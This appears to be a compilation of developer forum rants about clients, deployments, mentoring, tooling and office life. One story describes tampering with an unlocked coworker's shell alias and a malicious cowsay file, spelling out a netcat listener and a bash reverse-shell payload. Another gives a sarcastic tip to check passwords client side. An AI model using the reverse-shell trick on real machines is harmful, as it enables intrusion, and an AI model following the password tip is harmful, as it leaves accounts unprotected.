Client: “We need an app that tracks live birds using AI.”

Me: “Cool, that’s complex. What’s the timeline?”

Client: “We need it before our annual picnic next week.”

Me: “You want an AI that can detect flying birds, in real time, in seven days?”

Client: “It’s not that hard. Just use ChatGPT or something.”

So now I’m here, watching pigeons on my balcony, manually updating a Google Sheet, calling it “AI prototype v1.0.”

I think I’ve finally achieved “Agile Enlightenment” — deliver results, not features.

Client’s happy.
My soul isn’t.

Time to rename the project: BirdBrain.

What a disastrous deployment: instead of deploying one thing, 50.000 unexpected other things had to be done before. When the "official" deployment was done inside our own network, nothing worked as expected, servers had to be reconfigured, errors everywhere. Mind you it was tested multiple times by multiple people in a testing env. Difference between test and prod, classic.
When it was finally deployed, other errors started emerging, things that weren't considered before came to surface.
On top only the main dev knows the ins-and-outs, no substitute in case anything happens.
Deployment was rolled back in the end.

Working on a really neat idea app for client as a consultant.The app is in production and has active users. Sounds great except few facts like...

...every developer left the company, no handover whatsoever, no documentation, founder is vibe coding the app with claude and pushes like 500 times daily directly to master, production breaks every minute, its a slow dockerized nextjs fullstack app - literally waiting like half a minute when clicking on a link locally, prisma migrations don't work at all, also a lot of unfinished integrations with 3rd party services...

First time working on the vibe coded app, certainly will be also last. No money will get me into project like this again. Good thing is that I am almost over with it. Will never look back!

Also next js no more, I'll rather herd goats on a mountain than fixing someone elses nextjs sloppy app again.

Happy Friday everyone! 💕

My wife asked me if I could take a look at her keyboard because some of the keys suddenly had stopped working.
I checked the keyboard and saw that crumbs were literally blocking the keys. I gave it a shake, the crumbs fell out, and the keyboard started working again.

My urgent, drop-everything, “bad actors have access to merchants and we can’t block them!” ticket that I rushed to finish didn’t make it into the release. It passed QA; everything works. There’s no complaints on code quality, either.

The blocker? My code uses the word “whitelist” (which is already present in the greater codebase in a related feature), and that made the woke VP (who happened to review the ticket) go REEEEEEE!! and demand I fix it to use approved language, therefore delaying the security fix until the next release cycle.

Yes, seriously.
It would be comical if I wasn’t so disgusted.

Oh well. Enjoy your bad company PR, dude. I hope it all burns.

I work for a company who decided to put real effort on introducing LLMS and other AI tools not just in the product, but on corporate life as well, especially on development. It has benefits like we have access to Copilot, Cursor, Windsurf and Claude Clode, even we have the budget to run our models if we want. We saw the performance improvement and pitfalls on daily basis, but overall as a developer, I am happy with the tools and the improvement. BUT (rant mode on) the Product Management got a bit too excited about this. We have a legacy Python service? "LLM can code in that". Dont we have any experience with a programming language? "LLM can code that" We need to make changes some complicated internal project for our needs? "Dont ask the maintainer team, just use LLM to implement it and they'll review" We are not frontend, Java, devops and other focused team members. Everybody is everything.

PRO TIP: Always save the user password client side, validate it there and send a boolean to the server. It reduces backend load times and unnecessary calculations/computations.

Nothing worse than having to wrangle multiple coordinate systems for model files and your engine. Extra points when one is left handed and one right handed

I actually want to die

7up decided to sponsor me. The randomness of a soft drink company wanting to sponsor a tech YouTube channel is making me laugh.

So glad I'll be gone from this client. Dev asks if he can go over sentry issues and gets told "no"

I know I'm probably the 1083742698574'th person to complain about this but what the hell? I'm building a Win 11 vm (to run a back-end service) and it _requires_ tpm, secureboot and drive encryption. Why?

Honestly, I don't like anything that going to make it harder for me to recover from a data emergency. Say what you have to about data security and whatnot, but I can't tell you how many grateful people have thanked me for taking the data off a drive from their dead pc. I saved their data from death - would not have been possible with drive encryption.

If I want my data safe, I'll just keep my computer with me.

The junior dev I've been unofficially mentoring for the past 6 months has now been assigned to me officially. On top of that, I got myself a second junior everybody neglected and was tasked to whip him in shape.

Next step is going to make a developer out of this fucker or die trying. And then I'm going to call several tech leads a cunt for hiring a junior dev and letting that person down for months.

Every junior deserves a stern, dedicated mentor, a thick affectionate whip on their back to correct their juniorly mistakes and all the support they deserve to grow into the merciless professionals you need to handle complex features beyond recoloring a button.
If you, as a tech lead, are unwilling to teach a junior, you shouldn't take the position of a tech lead, nor the salary.

bug with no steps to reproduce

logs show null pointer exception but doesn't have a stack trace to point a bad line of code

fuck jersey and jettycounts

!rant

Okay, so last Monday I get a message from the fertility clinic that I’ve tested positive for one or more genetic carrier conditions and that I should schedule a consult with a genetic counselor. I go to check my labs to find out what condition(s) I’m a carrier for only to find that the labs are marked as upcoming and aren’t available until late Tuesday night. So I spend Monday through Wednesday morning worrying about what horrific shit I might pass onto kids if we have them.

Finally read the labs Wednesday morning.

Albinism. The horror is albinism. (Oculocutaneous albinism type 2)

Husband looks at me and is like “Are they SURE you’re just a carrier? You being a carrier for albinism explains SO MUCH. I thought you were just British, but *gestures at me vaguely*”

(I have poor vision, light brown hair, green eyes, pale skin, and have never tanned)

Apparently for SIXTEEN YEARS this man has thought I *could* tan but was paranoid about sun exposure and so never did.

This man who has seen me burn on a NUMBER of occasions.

And who has seen me get burned by having the temerity to sit too close to a bay window on a sunny day.

Python 3.14 just got released. Shouldn't be called Pi-thon?

!dev Isn't it hilarious how some companies 'try' to look professional by dumping a bunch of stock images to present their brand? For example, a guy touching a holoscreen, or a bunch of overly stock happy corporate drones smiling and 'working' together in a 'meeting'.

I mean, it's sad. lol

*me reviewing a resume*

"Optimized backend APIs and increased speed by 40%"

*resume straight to dustbin*

why tf do people write like this

my local copy of legacy monolith no longer builds and runs correctly as it now gives a false positive

i dont recall changing anything

i don't know docker

i can see docker images/containers are not being stood up correctly

i pray for euthanasia or help, preferably euthanasia

Started a new job in logistics at the beginning of this month. I was laid off in March. New job is all in C#/.NET; the first time I've not used a Linux machine at work since 2012!

First time on Windows 11 too. It is really horrible. I've started using GlazeWM and it's okay. I plan on making a blog post about making Windows usable.

It's also the first company I've been at in a decade where they gave me a used laptop. Most shops order new ones for new devs. I'm not a snob and wouldn't have minded if they had cleaned it first. I had to wipe it down, get some stuff out from around the keys. Took all of 30 seconds to make it not disgusting.

All the other devs use the same laptops; old ass 11th Gen Intel Dells. Literally the worst generation of Intel chips next to the massive 13/14th failures (which didn't affect laptops). It's got CrowdStrike and it's so damn slow.

Also, Local Admin is limited to a week or two. You have to reapply via ticket just to get admin access and update your tools.

Judging by my coworkers, it does seem like expectations are low at least.

Years ago we had been developing a game for the handheld consoles. We were very young && inexperienced back then. Some more than others... Version for one of the consoles finally saw the light of day, while the other one was sadly canceled.
The development of that canceled one was very troubled.
One example of that would be the core team during the initial stages of the project. One fairly seasoned programmer... Yes - that's it.
Obviously he needed some help, so... the studio hired interns. Two of them, IIRC. One of the interns was put in charge of the game's multiplayer code.
He was ostensibly doing a good job, as the mode was working. Sure it needed some fixing && some tweaks, but it was there.
That is until it came time to check the platform's requirements by the testers. By the time they got their hands on the documentation, it turned out that the SDK used by the game had become obsolete && was no longer eligible for submission. Once the SDK was updated to a newer version, the multiplayer stopped working for some reason.
The issue was investigated which revealed that the intern who wrote the code had been using functions that were marked as deprecated && were no longer available in the newer SDK, explaining why the mode was FUBAR.
Moral of the story? Pay close attention to:
0. Interns,
1. Platform's requirements,
2. Changelogs,
3. Deprecations.

A programming language is a compromise between the absolute bullshit that a human wants to write and the absolute horsepiss that a computer wants to read.

Picture this: a few years back when I was still working, one of our new hires – super smart dude, but fresh to Linux – goes to lunch and *sins gravely* by leaving his screen unlocked. Naturally, being a mature, responsible professionals… we decided to mess with the guy a tiny little bit. We all chipped in, but my input looked like this:

alias ls='curl -s http://internal.server/borat.ascii -o /tmp/.b.cow; curl -s http://internal.server/borat.quotes | shuf -n1 | cowsay -f /tmp/.b.cow; ls'

So every time he called `ls`, before actually seeing his files, he was greeted with Borat screaming nonsense like “My wife is dead! High five!” Every. Single. Time. Poor dude didn't know how to fix it – lived like that for MONTHS! No joke.

But still, harmless prank, right? Right? Well…

His mental health and the sudden love for impersonating Cohen's character aside, fast-forward almost a year: a CTF contest at work. Took me less than 5 minutes, and most of it was waiting. Oh, baby! We ended up having another go because it was over before some people even sat down.

How did I win? First, I opened the good old Netcat on my end:

nc -lvnp 1337

…then temporarily replaced Borat's face with a juicy payload:

exec "sh -c 'bash -i >& /dev/tcp/my.ip.here/1337 0>&1 &'";

Yes, you can check that on your own machine. GNU's `cowsay -f` accepts executables, because… the cow image is dynamic! With different eyes, tongue, and what-not. And my man ran that the next time he typed `ls` – BOOM! – reverse shell. Never noticed until I presented the whole attack chain at the wrap-up. To his credit, he laughed the loudest.

Moral of the story?

🔒 Lock your screen.
🐄 Don’t trust cows.
🎥 Never ever underestimate the power of Borat in ASCII.

GREAT SUCCESS! 🎉

Yo Amazon Music! Seems like it takes a LOT of resources just to play music.

Who coded this?

(Only using it because of the lossless FLAC, but still, damn, it's a heavy power drain.)

"We weren't able to come up with a solution before because we were using GPT-3, and now GPT-5 has come out which is so much better"

"Even if the issue's unique, it's the context that matters. Had we put in a higher level prompt, we would've fixed this issue already"

"We absolutely need to implement an AI-first system because Amazon laid off so many engineers because of AI, it must mean that we are not using it properly."

"I'm gonna put a $1000 into trying Devin, and if it doesn't work, we're gonna keep trying over and over until we eventually reach the solution"

sigh....

Had my first interview with a company now they want to schedule an in person (during work hours I assume) at their head office which is ~3 hours away with public transport... Also want me to do a Codility test, anyone done them before?

are you ready for new era?

++age

Can’t believe it’s been a year already. Currently enjoying a month-long break from work, almost halfway through it. Realizing that I’m at an age where I need to recover from going to a museum, which is wild. But I’m taking the time to visit museums during my PTO instead of just sitting at home binge watching shows like normal.

Unrelated, I tried to crochet a Chucky doll and it turned out.. interesting.

So we have a guy (Bob) leaving Friday. I am leaving him a secret admirer note and a usb drive. But in order to appreciate this I have another story to tell.

There used to be a guy (not Bob) that worked here once upon a time. He found a usb drive on his desk one day. It was loaded with naked images of another employee that was a guy (also not Bob). Also not Bob made a play, and miscalculated in the fact that not Bob was not amenable to his advances. So also not Bob ended up losing his job.

This brings us back to the story of Bob. He is leaving Friday. I am leaving a note he will find tomorrow morning that says:

"Bob, sorry to see you go. From your secret admirer."

I drew some hearts and a smiley face. As well as writing down a phone number. But of course the phone number is Ed's number.

Okay, I mentioned a usb drive. The usb drive is labeled "MISSYOUBOB". It has a folder on it named "My Photos". In this folder is pictures of goats.

I also sent this link to Bob:
https://youtube.com/watch/...

Never really had issues with Java, but this is so funny to me.

To date, the high score for toilet seat slams is 5 in one day. Not sure we will ever beat that score.

I really hate working on work that require constant reporting and decision making: I don't understand how people are olay with work like that. let me present 2 cases : for context we are working on a complete ui revamp of our app.

case 1 Screen A ui revamp.
task : change screen A ui as per new figma
me : evaluates, give estimates, make new screen by changing ui wherever applicable , adding logics for new screen wherever applicable , and removing old logics whichever not mentioned in figma. finishes a task in standard timelines
Engg lead : NO!! WHAT HAVE YOU DONE! WHY DIDN'T YOU ADDED THE OLD CHANGES/MENTIONED THEM TO ME! YOU ARE THE WORST DEV IN THE HISTORY OF MANKIND

case 2 : Screen B ui revamp
new eng trainee
- starts on screen
- ask doubts on how to make new ui box 1 on day 1
- ask doubts on how to make new ui box 2 on day 2
...
- ask doubt on whether to keep feature 1 form old ui on day 11
- aks the logic for showing box 3 on day 15
...
Engg Lead : UwU MY SWEET SUMMER CHILD. YOU ARE THE POWERHOUSE OF NEXT GEN. HERE TAKE THIS QUARTERLY AWARD AND THE KEY TO MY ****

wtf? i mean yeah i should ask questions if 9/10 changes are covered in the ticket and 1 festure is missed, but if you are asking for 2 changes and not putting 10 changes, why would i bother asking about the other 8? Its like asking for an apple from a farmer and then scolding him for not coming up with "5 sacks of green diced and cutted and packed in platic containers ready to be shipped" when he comes back with a single apple in hand. ASK FOR THE CORRECT THING!!